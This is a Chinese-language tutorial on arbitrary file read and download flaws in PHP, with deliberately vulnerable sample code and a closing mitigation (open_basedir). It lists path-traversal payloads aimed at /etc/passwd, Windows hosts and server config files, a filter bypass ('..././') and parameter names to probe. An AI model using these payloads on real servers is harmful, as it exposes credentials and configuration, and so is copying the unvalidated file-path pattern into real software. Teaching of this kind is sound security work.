一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。过,
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。
任意文件读取与下载重点关注的文件:
| 函数 | 含义 |
|---|---|
| readfile() | 直接读取文件内容 自带输出功能 |
| file_get_contents() | 直接读取文件内容 需要输出读取内容 |
| fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
readfile()
// readfile.php
$fp = "../phpinfo.php"; readfile($fp);
file_get_contents()
// file_get_contents.php
$fp = "../phpinfo.php"; echo file_get_contents($fp);
fread()
// fread.php
$fp = "../phpinfo.php";
$f = fopen($fp,'r');
$f_size = filesize($fp); echo fread($f, $f_size); fclose($f);
变量$fp,会捕获GET 方式传递过来的filepath 参数
$fp = @$_GET['filepath'];
filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini
?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php ?filePath=../../../../../../../../windows\system32\drivers\etc\hosts ?filePath=../../../../../../etc/hosts
a 标签下载:
<a href = './a.jpg'>IMG Downloada>
PHP 文件下载实现过程:
先读取文件
在输出文件
提供下载
// file-download.php
$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp)); readfile($fp);
任意文件下载的条件:
已知目标文件路径
目标文件路径,客户端可控
没有经过校验或校验不严格
$fp = $_GET['filepath'];
?filepath=c:/windows/system32/drivers/etc/hosts ?filepath=/etc/passwd
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp); readfile($fp);
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
?filepath=c:/windows\system32\drivers\etc\hosts
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
| 从文件名上看 | 从参数名上看 |
|---|---|
| readfile.php filedownload.php filelist.php | f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= |
让用户不能访问Web 根目录以外的路径。
php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围
open_basedir = c:\www\
https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://g